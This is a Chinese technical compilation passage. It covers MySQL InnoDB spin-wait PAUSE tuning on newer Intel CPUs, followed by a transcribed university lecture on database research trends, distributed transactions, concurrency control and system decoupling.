  to 100, and values of delay are not larger than @@innodb_spin_wait_
delay
  which is limited by 1 000. Anyway, in case an overflow happened, 
the program
  would still work (as iterations is unsigned). */
  const ulint iterations = delay * ut::spin_wait_pause_multiplier;
  UT_LOW_PRIORITY_CPU();
 
  j = 0;
 
  for (i = 0; i < iterations; i++) {
    j += i;
    UT_RELAX_CPU();
  }
 
  UT_RESUME_PRIORITY_CPU();
 
  return (j);
}
...
namespace ut {
ulong spin_wait_pause_multiplier = 50;
}

4.2.3	移植 spin_wait_pause_multiplier	patch 优化

既然 MySQL 8.0 参数 spin_wait_pause_multiplier 可以控制 PAUSE 执行的时长，

那么就可以减少该值，从而降低整体 PAUSE 影响。

了解 MySQL 8.0 相关代码后，我们将该 patch 移植到线上的稳定版本：

MySQ >select version();
+------------------+
| version()        |
+------------------+
| 5.7.26-29-mt-log |
+------------------+
1 row in set (0.00 sec)
 
MySQL>show global variables like '%spin%';  
+-----------------------------------+-------+
| Variable_name                     | Value |
+-----------------------------------+-------+
| innodb_spin_wait_delay            | 6     |
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| innodb_spin_wait_pause_multiplier | 5     |
| innodb_sync_spin_loops            | 30    |
+-----------------------------------+-------+
3 rows in set (0.00 sec)

由上述可知，Silver 4110 的 PAUSE cycles 是 E5-2620 v4 的 14 倍左右。基于

此，将 innodb_spin_wait_pause_multiplier 值调整为默认值的 1/14，取稍大值：

5。即将该参数由原默认的 50 调整为 5。

最后，还是通过二维折线图来对比该 patch 调优后的基准测试数据：

 ● Silver 4110 移 植 spin_wait_pause_multiplier patch， 并 调 整 优 化 后，

4110（patch）性能有了较大的提升。

 ● Silver 4110（patch） 相对调优 innodb_spin_wait_delay 性能上更优。

 ● Silver 4110（patch）并发线程大于 64 的只写场景，性能略低于 E5-2620 

V4 ，其他均优。

 ● 按照真实的线上读写比例，4110（patch）可以将吞吐量恢复到原先的性能水平。

4.3	PAUSE指令周期优化

上述章节中，我们测出 Cascadelake CPU PAUSE 周期下降了。在跟 Intel 技术专

家确认后得知：从 Purley 的第二代产品 Cascadelake 开始，Intel 将 PAUSE 的
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指令周期降低到了 44。（估计 Intel 也发现了第一代增加 PAUSE 周期后的性能瓶

颈问题。）

我们针对第二代 CPU 产品继续做基准测试，来看一下性能表现：

接着用 perf diff 来对比一下 4110 和 4210 在 ut_delay 上的开销：

 ● 可以看到 4210 比 4110 占比下降了 8%。

 ● 由 于 PAUSE 指 令 周 期 还 是 数 倍 于 E5 系 列 CPU，4210 在 高 负 载 下，
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PAUSE 的开销对 MySQL 吞吐量还是有较大的影响。而在 128 并发线程以

下，性能相比 4110 有了较大的提升。按理，可以满足线上业务需求（该测试

结果跟移植 spin_wait_pause_multiplier patch 性能测试数据曲线一致）。

5. 总结

最后针对本篇内容，我们可以做个简单的总结：

Intel 在新平台 CPU 产品调大了 PAUSE 指令周期，在高并发 spinlock 竞争激烈场

景下，可能会造成程序性能较大损耗（特别是执行固定 PAUSE 次数的程序）。 针对

Skylake 架构 CPU（比如：4110 等）PAUSE 指令周期较长引起性能问题的优化方

法如下：

将 MySQL 8.0 innodb_spin_wait_pause_multiplier patch 移植到线上稳定版本（或

升级到 MySQL 8.0），通过降低 PAUSE 执行时长，来提升吞吐量。 如果是 OS 为

CentOS 6，可以升级到 CentOS 7，CentOS 7 本身 spinlock 优化，对 MySQL 性

能也有一定提升。 最简单、直接的方法可以替换为 Cascadelake 架构 CPU。

针对 Cascadelake 架构 CPU，由于 Intel 本身在 PAUSE 周期已经优化，性能上已

经做了修复。当然也可以采用上述优化方案，让性能提升一个台阶。

6. 作者简介
春林，2017 年加入美团，主要负责 MySQL 运维开发和优化工作。
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美团内部讲座｜周烜：华东师范大学的数据库系统研究

作者：周烜

【Top Talk/ 大咖说】由美团技术学院和科研合作部主办，面向全体技术同学，定期邀

请美团资深技术专家、业界大咖、高校学者及畅销书作者，为大家分享最佳实践、互

联网热门话题、学术界前沿技术进展等内容，帮助美团同学开拓视野、提升认知。

2020 年 10 月 27 日，Top Talk 邀请到了华东师范大学周烜老师，请他带来题为

《华东师范大学的数据库系统研究》的分享。本文系周烜老师分享报告的文字版，希

望能对大家有所帮助或者启发。

/ 报告嘉宾 /

/ 报告摘要 /

华东师范大学是国内为数不多长期坚持数据库内核技术研究的高校，在学术界和工业

界均建立了较好的声誉。本次讲座将分享华东师范大学数据库团队近期的一些科研思

路和研究成果。首先分析驱动数据库技术发展的主要因素，谈一谈未来有价值的研究

方向。再聊一聊团队近来取得的一些有趣的研究成果，领域包括新硬件的数据库适

配、分布式事务处理、HTAP、系统实现模块化（Modularization）等等。
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00 引言

今天我代表华东师范大学的数据库团队，来分享一下对数据库这种技术或者这种产品

的一些研究心得以及当前的研究成果。其实，高校跟企业实际上是处在两个不同的生

态领域当中，高校更关注关于研究理论的一些问题，但是企业更多的关注企业本身的

产品以及用户，所以两者面向的目标是不太一样的。但是经过我们在华师大这么多年

的一些摸索，特别是我们自己研究上的一些摸索，以及跟企业合作的经历，我们觉得

实际上高校和企业应该一起来做我们称为数据库系统或者基础软件的研究，因为只有

这样才能够更好的推动这个行业本身的发展。

我的报告内容会分成两个部分。首先分享一下我们对数据库这种技术发展动态的看

法，我们团队在数据库这个领域也做了很多年，包括我之前在中国人民大学也是做数

据库系统的，我在这个领域里面有可能不到 20 年的积累。我希望能够提出我们的看

法，并且能够得到大家的一些反馈，纯粹是做一种探讨，因为对技术的发展方向的探

索，没有标准的答案。我觉得大家应该集思广益，共同去探讨，才能把这个问题看得

更清楚，这是讲座前面一部分的内容。

后面一部分的内容我会聚焦到我们的一些研究成果上，这些研究成果可能就会比较技
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术细节了，会更适合搞技术、数据库、系统的这些同学，但是我会尽量把讲座的形式

变得更大众化一点，尽量用更通俗的方式去给大家介绍。我希望通过这种细节的介

绍，也能够让大家了解一下，我们在设计系统的时候，通常一个工程师、一个研究者

或者一个学者，他的思路大概是怎么样的，我不能代表所有的人，但是因为我们这个

团队是一个典型的做系统的团队，所以这个思路可能仅代表了一部分做系统的学者的

思路。

01 数据库系统的形态变化

1.1	什么引起了数据库系统的形态变化？

首先问大家一个问题，什么引起了数据库系统的形态变化？我们知道数据库系统实际

上是一个有很长历史的系统，是现代软件开发的一个核心部件。任何应用都离不开某

种数据库，但是我们其实也可以看到，如果你有一定的经验，比如大概 10 年的工作

经验，你会看到数据库系统的形态是在发生变化的，10 年前用的很流行的东西，现

在不见得普遍被采用。这个系统虽然有很长很长的历史，也很成熟了，但是它的形态

还是在发生变化的。

什么在驱动数据库系统的形态变化？这是一个很重要的问题，也是比较有趣的问题，

但并不是一个好回答或者能够全面的回答的问题。我这里就直接抛出我们对这个问题

的一些看法，我们觉得数据库系统的形态变化，主要来自三个方面的推动力：

 ● 第一个方面是应用需求的变化。我们的软件产品一直在变得越来越丰富，应对

的场景越来越多，实际上应用需求是在变化的，它的变化提出了不同的要求需

求，它在促使数据库系统的形态在发生改变。

 ● 第二个方面在学术界其实比较少去触及的，就是软件开发模式的变化。数据库

是 70 年代 80 年代设计的，面对的是当时的软件开发模式，我们知道在九十

年代以后，软件开发模式实际上发生了很大的改变。软件开发的模式的变化，

也在引起数据库使用方式的改变，也在推进数据库系统的演变。

 ● 第三个方面就是硬件平台的革新，硬件在改变处理器、存储器件，整个平台以
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前是一个大型的计算机，大型机、中型机，然后现在其实就是云平台，这些东

西的变化实际上是在影响数据库本身的形态的改变。

我们看到的推动力主要就是这三个。我们认为未来推动数据库变化的原因也不出于这

三个，我们可以通过这个东西去预知未来应该朝什么方面去推进我们的数据库技术的

进步。下面我就大概做一个简单的展开。

1.1.1	应用需求的变化

首先第一点就是应用需求的变化。我们认为这实际上是在推动底层技术，像数据库系

统这种技术变化的一个主要原因。

通过上面这三幅图大家能够很容易去理解数据库诞生的年代，那个时候磁盘作为一个

存储介质，刚刚在市场上推广，磁盘取代了磁带，数据的随机访问变的可能了。那个

时候对数据管理功能的需求一下子就增长了，当时出现了各种各样的数据库，包括网

状数据库，包括后面的关系数据库，那个时候是我们叫前互联网时代就出来了。但

那个时候应用的规模并不大，数据库的用户量一般，终端用户其实很少，对于一个

银行来讲就是那些银行职员在使用数据库，普通用户在银行排队，他们不是终端的

使用者。

后来进入到互联网时代之后，我们发现终端的使用者一下子就爆炸性的增长了。现在

我们每个人有一个手机，随时都在使用手机上的 App，然后这个 App 他随时都会把

请求发送给后台的数据库。我们看到应用规模在最近 20 年有一个很大的增长，如果
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往后看的话，未来我们认为增长有可能还会继续。我们的工业互联网、物联网使用的

话，我们的终端会变得更多，他可能对数据管理系统的压力会变得更大。

所以我们看到应用不断的扩张，给数据库这种底层系统有一个持续增长的压力，要应

对这样的压力，以前对数据库的设计，它逐渐就变得不太实用，必须去革新，必须去

改变它。

这个是我们看到的一个最主要的推动力。但除了应用规模的扩展，当然就还有一个应用

领域的扩展，最开始的数据库它就是金融领域或者电信领域去使用，并不会在互联网、

销售或者传媒等等这些领域去大规模的使用，但是我们发现 IT 的渗透到各行各业之后，

它的应用范围也在增加，应用范围增加对传统的系统来讲是不友好的，或者是说你的传

统数据库系统对这些应用是不友好的，所以这个也在推动它的一个变革。

应用需求带来什么变化？我们回顾历史的话，我们看到分布式数据库现在变得越来越

被大家所需要，大家看到了谷歌的一些分布式数据库的产品，它现在作为一种标杆的

产品，然后国内也有一些分布式数据库的场景，包括美团在内，听说美团内部也在研

制自己的分布式数据库，实际上是在对需求的负载增加的一个应对。

应对它实际上并不是一个很简单的事情，如果要增加你的数据库的扩展性，有时候你
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必须要重新去设计你的数据库的架构。我们通常做系统的同学应该了解，其实在做系

统的时候，你需要做很多折中的考量的，有些东西是不能兼顾的，比如说你的功能性

和应用性对吧？一个东西特别简单去使用的话，它功能性有时候就是比较简单，它复

杂的功能处理不了，或者是你的功能很复杂的时候，你的扩展性又上不去。

在系统设计的时候你必须去做一种权衡，去获得一部分这方面的能力，你就必须丢失

其他的一些能力。当你需要它的扩展性非常强的时候，你有可能就要去重新考量它，

你要去丢弃什么东西，你要去忍受什么其他的一些东西，然后这个时候就产生架构的

变化，这样的话我们就会发现有新的系统出来，比如说以前的是 SQL，我们现在有

讲 NoSQL 大家认为它的扩展性容易做的更好一些，然后会有其他形态的一些数据管

理产品。

针对这个问题，学界工业界都有很多的讨论，Michael Stonebrake 大概 10 多年前

发表的一些言论，就说“One size does not fit all”，你不太能指望某一个系统能够

能够处理所有的应用需求。因为不同的应用需求，你可能必须要做不同的折中、重新

的考量，你只能顾此，你顾此只能失彼，所以这样就产生了一个多样化的形态。

我们现在看到的数据库，如果你们在使用的话，你会面临很多选择，你到底用

MySQL 还是 MongoDB 对吧？你的分析的时候你要用什么？用 Hadoop 还是用传

统的数仓 MPP 产品，有不同的需求，可能有不同的考量。这个我们看到应用需求它

的变化，它的增加，它在实际上对这个系统起到了一个很重要的推动的这个作用，这

是我展开的第一点。
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1.1.2	软件开发模式的转变

然后，第二点就是我们发现软件开发模式的变化，也在促进数据库本身的改变。就像

我刚才提到的，现在用到的很多软件开发的模式跟以前不一样。以前关系数据库这样

的产品刚刚被广泛应用的时候，当时的软件开发它是以数据为中心的，一个数据库设

计出来，有好多应用都会去用它，它是一个 Shared 底层系统。那个时候数据库的设

计过程，它是相对独立的，DBA 根据 App 开发人员的需求、用户的需求，以 DBA

的方式去设计数据库，按照对数据模型的理解，把它设计得非常的规整，要满足各种

各样的范式，然后给不同的应用去用。但现在我们发现一旦用到微服务这种新的开发

模式的时候，很多时候这种横向的分割变得不是那么重要了。原本数据是一层、应用

逻辑是一层，这两层之间的解耦是很重要的，但现在不是了。

现在是微服务的形式，是纵向的切割，把业务整个分成一块一块的，每一块里面都有

单独的数据库，有单独的功能设计，这弱化了数据库跟应用之间的界限，强化了应用

里面不同模块的界限。这样的话，每个模块可以用不同的数据库产品，比如说一个设

备用 MySQL，另外一个设备可能用 MongoDB，第三个设备可能用 ES，这些模块

之间的数据有同步有交互，可以用一些比如像事件驱动的架构，像 Kafka 这种 MQ 

(Message Queue) 去连接在一起，形成一个总体的架构。
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这种设计跟以前的数据库是不太一样的，对于数据库本身的要求也不太一样。不同的

Service 会用不同形态的数据库产品，根据需求或者根据软件开发者的习惯，去采用

各种缓存、消息队列等，去把这些东西给嫁接在一起。这样的形态对数据库有不同的

要求，所以 NoSQL 被很多人接受。

在某些软件开发的场景下，NoSQL 就是比关系数据库使用起来更简单。然后事务的

处理方式也变得很不一样，现在的消息队列在事务处理中，它的权重非常的高，而不

是完全依赖于传统数据库内部支持事务处理的模式。这个是我们也看到这样的一些变

化，这个是软件开发模式带来的一些改变。
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1.1.3	硬件平台的革新

第三个方面就是平台的革新。其实我们不会对传统的数据库的硬件平台灵活性有太

多的关注，但现在数据库产品面向的基本上都是云平台，不是以前的 IBM 大型机了，

不是 Oracle 那个时候的硬件平台。我们面对的是一个云平台，云平台自身是在发展

的。以后的云平台其实可以预见得到，它不单单是现在我们看到的，是由一个个虚拟

机或者是一个个容器组成的一个计算平台，还有可能就像一个大型的计算机一样，只

是这种大型计算机它的资源非常的丰富，需要调用什么样的资源都可以获得，需要更

多的内存、CPU、存储，都可以直接的获取。

云平台通过比较高效的网络方式把这些资源全部连在一起，然后给用户的接口也很

简单，很多维护功能是在云平台内部去实现的。数据库要扎根在这样的一个云平台

上面，其实对数据库系统就会有新的要求。以前的数据库，大家都记得有几种架构

可以选择，叫 Shared Everything、Shared Nothing、Shared Disk 这样的一些

架构。

但是我觉得在“云”层面上，数据库其实不再是那么简单去划分的，就是说数据库系

统的产品，必须要做到具有很好的弹性。任何的资源在短缺的时候，可以通过云的这
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种方式很快的把资源调度过来，从而增加数据库的能力。对用户的话，只是提供一种

数据库的服务，用户用多少？就提供多少。这样的一个云架构下的数据库，形态可能

跟以前要有一些变化。除了这种云的体系之外，其实还有一些新硬件出现，硬件种类

也变得越来越多。不同的种类的硬件，在不同的条件下，算力也在不断增加。当然除

了计算，还有存储也发生很多变化，把这些放到云的里面去，云的资源变得更加丰

富，对数据库的要求也会变得更高。

因此，我们看到这种硬件平台的变革，它实际上在推动数据库的一些发展。现在大家

很常见的就是这种计算与存储分离的这种架构的数据库。我把数据库本身这种系统，

它的计算层跟存储层完全的分割开，计算层可以自己扩展，存储层也可以自己扩展，

两层就通过云这种高速的、互联的通道能够连接在一起，这种实际上就是针对云的一

个特殊的处理。我们知道存储是便宜的，所以在存储需要扩展的时候，没有必要在扩

展存储的基础上去加 CPU 的资源，因为 CPU 比较贵。如果分开扩展的话，这样确

实会在成本上有极大的提升。

未来各种资源加进去之后，它都有可能有扩展的需求。比如说缓存，新的存储器，新

的内存加进去之后，有可能需要它跟底层的存储分开，进行一个隔离，再分别去扩

展，这都是有可能的。但现在的数据库产品其实面对这种扩展能力，实际上是非常有

限的，存储和计算分开扩展到一定程度，实际上它的能力就达到一个峰值了。那么怎

样去推动它进一步的这种弹性的增加，实际上是一个挺难的问题，但是也是挺有趣的

问题。
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新硬件对数据库产品的影响，这里有一个简单的公式，公式的左边叫做 Data/Cost，

单位数据处理，单位代价上面可以处理多少数据。这个是我们需要提升的，因为可以

想象以后的数据量会越来越大，如果不把单位价格上面能处理的数据这个值提升的

话，应对数据的能力就没办法提升。数据越多，需要花费的资源或者代价就越多，这

个是我们不希望看到的。希望左边这个式子中 Data/Cost 的值随着技术的进步，它

可以逐渐的提升。

然后把左边这个式子它分解一下，分解成 Data/Hardware 和 Hardware/Cost 的一

个乘积。这其实是很简单的一个因素分解，大家能够看得很明白。我们发现后面这

个式子 Hardware/Cost，实际上它的增长在逐渐的趋缓甚至停滞，主要的一个问

题就是单位价格能够买到的硬件资源，要在这上面做更进一步的提升，会变得非常

的困难。

最 后， 如 果 想 实 现 Data/Cost 的 提 升 的 话， 只 能 去 提 升 左 边 这 个 式 子 Data/

Hardware，这个是未来一个很明显的趋势。怎么样能够提升 Data/Hardware ？就

是单位硬件下处理数据的能力要怎样提升？我们认为只有两种途径，第一种是硬件定

制化，面对不同的应用需求，需要为这种应用需求做特殊的硬件。其实我们能看到像

GPU、TPU 这种出现，其实就已经在揭示这种规律了，专用硬件效率总是要比通用
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硬件好的。然后软件是一样的，专用的软件的效率肯定比通用的软件好。

这个趋势我觉得可以从长期来看，短期可能并不是那么的明显，但长期来看的话，这

个过程应该是不可阻挡的，也就是说我们可能会面临要去为应用去定制系统，要为专

门的这种系统配置适合它的硬件。

1.2	数据库系统的未来发展趋势

我们刚才讲了三点，第一点就是应用的变化在推动系统的演进；第二个是软件开发模

式的变化实际上也在带来系统的功能的一种变革；最后是硬件平台。因此，我们觉得

未来数据库发展的趋势：

 ● 第一个是“One size fits a bunch”，为不同应用构建不同系统，为不同系

统配置不同硬件。就像 Michael Stonebraker 说的那样，数据库不是一种系

统就能应对所有的应用了。我觉得 Stenberg 当时是针对的是应用负载的增

加带来的问题而提出的观点，但是硬件的发展瓶颈到来的时候，同样会引领

我们认同这个观点，“One size does not fit all”，不可能为所有应用产生一

个系统，应该是一类应用对应一套系统的，这个是我们看到的一个很明显的

发展的趋势。
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 ● 第二个发展的趋势是现在的系统变多了之后，它需要协同，会有各种中间件，

还会有各种形态的数据库，我们需要把它协同起来，这些数据库形态太多，

对程序开发人员，维护人员都是一个 Disaster，代价会变大，怎么更好地把

它协同起来，这也是未来一个发展的方向，我们会看到这些系统相互之间会

变得越来越配合，越来越融合。

 ● 第三个就是云平台成为一个主流的硬件平台之后，我们看到数据库会朝云这个

方向有更深入这种发展，它会更适合云这种形态，它的弹性，自我维护、自我

修复的能力是会进一步提升的。这个是我们对未来发展的展望。

02 华师大的数据库系统研究

2.1	研究团队

然后介绍一下我们现在这个团队，华东师范大学数据科学工程学院大概有 20 多个老

师，大概 10 个老师是从事数据库内核的研究的。整个团队的历史是超过 20 年的，

我们近 10 年其实做了非常多的系统内核研发的工作，跟业界的很多的公司也有合作。

我们的学生其实也做了很多工程性的工作。
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去年我们有拿到一个国家科技进步二等奖，这个是基于我们当时和某银行一起做的一

款数据库产品，是我们基于 OceanBase 的一个早期开源的版本上实现的一个系统，

具体的这种内容我就不做过多的介绍，这个系统实际上在某银行得到了比较深入的应

用，是我们比较引以为豪的一个研究成果。

2.2	研究成果

我们团队的研究其实还是蛮广泛的，我们在事务型数据库和分析型数据库其实都有研

究，但我们更多的精力还是集中在事务型数据库上面。然后接下来，我会介绍一些典

型的研究成果，让大家了解一下我们的研究是在做一些什么事情，主要分三个部分，

第一个是分布式事务，第二个是数据库系统解耦合，第三个是新硬件。

2.2.1	分布式事务

分布式事务是一个几十年来大家都在探讨的话题，实际上也是有一定的争论：分布式

事务到底合不合用？我们在使用事务处理这种功能的时候，是不是应该去规避分布式

事务？还是我们应该进一步去增强数据库支撑分布式事务的能力，让程序员不要刻意

去规避分布式思维？这实际上是一个疑问，目前没有一个明确的答案。

如果分布式事务确实是不行的，那我们就应该做一些其他方面的处理，来弥补分布式

事务本身的缺陷，这样做有两种方式：

 ● 第一种是干脆不要数据库提供分布式事务功能，将事务处理推给应用，根据应

用的特点去规避这种分布式事务的一些缺陷。

 ● 第二种是尽可能提升集中式事务处理的能力，集中式事务能够达到和分布式同

样的效果，就不再需要分布式事务了。

我们认为现在以 NoSQL 为代表的这些系统的推动者，实际上是持这样的观点的。比

如典型的 NoSQL 客户系统 MongoDB，它的一般的事务处理或者数据库的访问，都

是 Single Document 一个文档一个文档去处理的。实际上，就是如果真要进行复杂

的事务处理，那就到上层应用去处理，就用最定制化的方式去应对这种事务，它的效
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率可以比较高。

另外一种观点认为分布式事务本身应该是可行的，我们应该提升数据库处理分布式事

务的能力，解放开发者。

这样的观点就是那些推动 NewSQL 这一类系统的人所持的观点，比如说谷歌的

Spanner、TiDB、OceanBase。那么想要把分布式事务做好，怎样去优化，提升分

布式事务的能力？首先要处理异常，分布式事务最害怕的一个问题就是出现异常，出

现异常之后，如果是一个分布式事务，一旦事务锁掉一个节点上的数据，另一个节点

出现故障的话，就会很麻烦。那为了处理异常，然后以 Spanner 为代表，使用了很

多高可用的系统架构，用 Paxos/Raft 创建这种在云平台，在这种廉价计算机上同样

能够有高可用能力的基础设施，在这个上面我可以去规避分布式事务所遇到的这种异

常的问题。

但除了异常问题之外，实际上还有分布式事务的扩展性的问题。虽然分布式事务可以

比较放心地应用于可靠的、高可用的系统上，但是它的性能会比较差。因此，我们必

须要优化它的性能，为此学术界也做了很多尝试，对于团队来讲，最近几年，我们也

做过一些研究和尝试。接下来我就大概讲一下我们的大概思路。

首先，我们要了解到底是什么限制了分布式事务的扩展能力，大家是比较公认的一种

观点是制约分布式事务扩展的主要是事物之间的这种阻塞 Blocking。你可以想象一

下，当一个事物它去访问一个数据，特别是修改一个数据之后，它会加锁，然后在加

锁的过程中，又要去跟其他的节点进行各种通信。

其实这种通信有时候是很耗时的，有时候甚至要跟异地的节点，比如说要做高可用，

就需要跟异地的节点建立通信。在加锁的过程中去通信，由于通信的过程很长，然后

就会把加锁的时长变得特别的长，阻塞就会变得很严重。一旦事务处理的阻塞时间增

加，它的事物的吞吐有可能会受到很严重的影响，特别对于有一些热点的数据出现的

话，不是时长增加一倍，性能就降低一倍的，有时候时长增加一倍，性能可能会降低

若干倍，这是一个很麻烦的问题。
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所以说，真的想要解决分布式的扩展能力的话，在已经有高可用的前提下，我们最

重要的目标就是要降低阻塞。怎样降低阻塞？其实可以用到很多的技术。比如说

MVCC/OCC、 MVCC 是多版本的数据管理，它可以降低阻塞，这个很直观，就是

我一个数据有多个版本，当我的一个事务去改动数据的时候，我直接产生一个新的版

本，这样就不用去阻止别人读你的旧版本。

因为你有多个版本，新版本在产生的过程中，你没有办法去读，可以去读旧版本不用

阻塞，这就是 MVCC 的使用。然后 OCC 也是一样的，就是 OCC 就是乐观并发控

制，也就是说默认不需要加锁，到最后再来检测这个事务是不是执行正确，如果执行

不正确推翻就行了。然后还有一些锁的优化，通过各种各样的技术，来把阻塞的现象

把它尽量的减少，从而来提升分布式事务的扩展能力。

MVCC时间戳分配去中心化

在 MVCC 上我们做过一些工作。当然 MVCC 有一个时间戳分配的问题，就是说它

来判断一个事务或者一个数据或者一个数据的版本，它是不是应该由某一个事务去读

取的话，它要通过一些时间戳的判断来做。时间戳的分配很麻烦，按道理来说，它是

应该有一个中心的时钟，大家都去中心的时钟去拿时间戳，这样就可以保证事务处

理正确无误。但通常如果有一个中心的时钟的话，那扩展性就受限了，比如谷歌的

Spanner 用一些原子钟去规避这个问题。然后我们做的一个研究就是去中心化，去
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优化了 SI 的隔离级别。

SI 是一种典型的 MVCC 的隔离算法或者并发控制的算法，它是需要时间戳的。我们做

了一个去中心化。想法是我在给事务分配时间戳的时候，不是在事务开始的时候分配，

而是在事务要结束的时候，根据它跟其他事务的关系、冲突情况，来给它指定一个合适

的时间戳，所以叫后验时间戳，Posterior SI。这种方式使得我们可以不需要用一个中

心的时间戳去做这个事情，但这个东西做起来其实蛮复杂的，我们大概 5 年前做了这

件事情，最后有一些实验没有实现在现实的系统里面去，因为实现相对来说比较复杂，

而实际应用中使用一个统一的中心的时间戳，基本的应用还是可以满足的。

我们做了很多的实验，实验结果可以表明我们的方法，当扩展到一定程度的时候，这

种时间戳的分配是不会成为一个扩展性的瓶颈的。
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降低OCC的阻塞时间

我们也做了一些 OCC 的工作。OCC 在事务访问数据的时候，就放开让事务去访问，

访问完了事务要结束的时候会做一个验证叫 Validation，做完验证，再决定这个事务

是提交还是回滚。这种方式也是降低事务之间阻塞的一种方法。其实这种事务的最后

的正确性验证，有时候会挺耗时间的，所以在这个上面做了一个优化。

我们认为做正确性验证的方式有两种，一种主要的方式叫 Local Readset Valida-

tion，每个事务把它读过的数据记录下来，最后再去查读过的数据有没有被改动过。这

种方式的缺点是当读取的东西特别多的时候，它的代价就会相当的大。

然后，还有一种方式叫 Global Writeset Validation，这种方式就是我不去记录每个

事务读过的数据，只记录现在有多少正在运行的事务改动了那些数据，也就是说记录

的是那些被改动的数据。然后读的时候，观察它的范围有没有包括改的数据，如果包

括了验证就失败。这种方式对读取数据内容比较多的事务是友好的，但对那种小的、

短的事务并没有那么友好。
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所以我们就做了一个叫 AOCC，Adaptive OCC，就是把这两种方式给结合起来，

我们会判断一个事务的运行情况，如果读取的数据很多，就用 Writeset Validation；

如果读取得很少，就用 Local Readset Validation，这样的话就把两种方式的优点结

合起来。
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我们做了一些实验，实际上结果确实证明这种方式没有极端的情况的缺陷。因为以前

的那种就是读集 Receipt Validation 和 Receipt，德行在在各自的极端情况下都会呈

现出特别差的一个性能。但是我们这种方法实际上它是比较均衡的。

跨区域高可用系统的锁时长

然后第三个工作也是关于分布式事务的，就是我们做了类似于 Spanner 这样的系统，

跨区域的高可用的系统。

就像我刚才提到的，一旦加锁，加锁的过程中，出现了跨区域数据的通信，这个持锁

的时间就会特别的长。这里是一个例子，在跨区域高可用的系统上做的一个两阶段提

交。可以看到红色的线是一个加锁的过程，这个过程已经是在一个正常的事务里面最

短的加锁过程了，它是在事务提交开始之前加锁，一直到事务提交完成之后释放锁。

对一个普通的事务来说，它本身就是要加锁的，但这个加锁的时间可以看到，在加锁

过程中，Prepare 阶段会有大量的本地节点跟异地节点之间的同步，然后在 Commit

阶段，同样的也有大量的本地节点跟异地节点之间的同步，这样的一个同步是很耗时

间的，如果在这个时间上去做加锁的话，一旦遇到热点的数据访问，这个事务处理的

性能就会极度的下降。所以在这样的条件下，我们就想可不可以用提前释放锁的方式
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去规避加锁，缩短加锁的长度，直接降低阻塞概率。

然后我们就设计了叫 DLV，LV 的意思是 Lock Violation，实际上就是提前释放锁。

DLV 的话我们叫 Distributed Lock Violation，同样是一个两阶段提交的一个协议。

我们就看在什么地方释放所，它的效率是好的。我们选择了四个时间点：

 ● 第一个是在 prepare 阶段之前访问数据的时候，访问一个数据就放一个数据

锁，相当于就不加锁，这是一种最极端的方式。但这种方式到后面的回滚率会

非常的高，只能通过验证的方式来判断事务是否正确的执行，因此遇到死锁的

情况也会很多，然后事务不正确的情况也很多。

 ● 第二个时间点就是我们叫 DLV1，就是在事务基本上数据访问的差不多了，但

是协调节点还不太清楚，就是说所有的事务节点是不是已经完全做完了不太清

楚，但是所有的事务节点各自都认为它自己做完的时候，这个时候释放锁。

 ● 第三个时间点就是多加了一个协调的过程，协调的节点会跟所有的事务处理的

节点做一个通信，通信完了之后，它认为这个时候所有节点都做完了，这个时

候释放锁。

 ● 第四个时间点就是两阶段提交的第一个阶段结束之后，再释放锁，这个是最安

全的。
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然后我们就实验了这些不同的加锁和释放锁的方式，得到的一个结论，左边这两张图

（横轴是远程通信的时长）说明两个计算机中心离得越远，它通信时间越长，然后用这

种传统的方式，会看到时长越长，它的性能就会越差。在高冲突的情况下，分布式事

务处理性能就会比较差。但是如果使用提前释放锁的方式，性能就是绿色蓝色的线，

表示着它的性能会有一个比较大的提升，这个就说明提前释放锁是有用的。

但什么时候提前释放锁最合适呢？右边这个图我们做的一个实验最后的结论是第三个

时间点就是 DLV1x 这种方式，协调节点跟事务处理阶段有一个短通信，这个是本地

通信，不是异地通信，通信之后确认所有节点都做完了，这个时候释放锁，这样的负

面作用是最少的，而且它的加锁时间也会很短，这种方式它的效率是最高的。

2.2.2	数据库系统解耦合
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我刚才介绍了三项研究，都是关于分布式事务处理的，然后我接下来再讲一讲我们在

数据库系统解耦上面的一些研究，这也是非常有趣的一个问题。什么叫数据库系统的

解耦？实际上教科书会把数据库系统拆成一个一个的模块，比如说这个是 collector

就是跟应用对接的连接器，还有 Query Optimize、Query Evaluator 或者叫 Query 

Processor， 就 是 查 询 处 理 查 询 优 化 的 模 块，New Storage Manager、New 

Transaction Manager，还有各种日志、Lock、Manager 等等，这个是我们教科书

上面对数据库一个模块的切分。

但实际上当我们去真正的看一个数据库系统的实现，就会发现这些模块之间实际上没

有切分的那么干净的，而且有时候是实际上模块之间很高耦合的，很紧的耦合在一

起。对于一个刚开始做数据库的人会觉得跟我们学的东西会不完全一样。然后很少的

人真的去探究为什么会是这样。我们在实现数据库系统的时候，实际上这种高耦合的

系统架构给我们带来了很大的困扰。

我们当时在某银行改那个 OceanBase 的系统时，改动一个数据类型，我记得好像花

了好几个月的时间，很多人去做这个事情。这实际上一听上去会让人比较诧异，但实

际上你去看系统的实现，它就是这么回事。一个数据类型好多地方都会用到，必须把

每一个地方都清除掉，这个时候就必须花很多时间去读代码去理解去测试的。其实我

们觉得如果一个系统的耦合度能够变低，模块之间能够分得很清楚，实际上对系统工

程来讲是有很大收益的。

我们回顾刚才讲的一个数据库的发展趋势，叫“One size fits a bunch”，也就是说

我们认为以后系统会变得很定制化。如果一个系统的模块化做得很好的话，去定制去

改动这个系统也会变得很简单。一旦一个新的硬件出现的时候，我们要去使用新的硬

件去对这个系统进行优化，会变得更简单。

其实一个数据库系统的实现，是有需要去做进一步的解耦合，这里面其实有很多问

题。我们去做了一些探索，但其实是非常有限的探索，我觉得这个工作其实可以有更

多的人去做。我们做的探索，就是说想把并发控制直接从数据库的存储层抽离出来，

然后让存储的代码跟并发控制的代码尽量的互不相关。
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这是一个 B-Tree 的 Search Function 的例子，在教科书里面，关于 B-Tree 的

Search，你可能会看到这样一个代码，非常简单。

但实际上一个 B-Tree 的 Search 没有那么简单，可以看到这里面有好多的东西，这

还只是一个例子。如果对开源系统比较熟悉的话，一般的一个开源系统的 B-Tree，

差不多要将近十万行代码，非常复杂。

这个代码为什么这么复杂？可以看到 B-Tree 里面有很多的锁，有比如 Latch、

Lock 之类的很多东西，它实际上是在做并发控制。当然并发控制只是导致代码复杂

的原因之一，但还有其他的原因，并发控制把这个代码变得远远的复杂于 B-tree 本
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身功能的程度。其实这就是数据库解耦合的一个动机，如果可以把耦合度解开，并发

控制可以交给一个单独的模块去做，B-Tree 的代码就可以像第一个例子那样写，事

情就变得很简单。

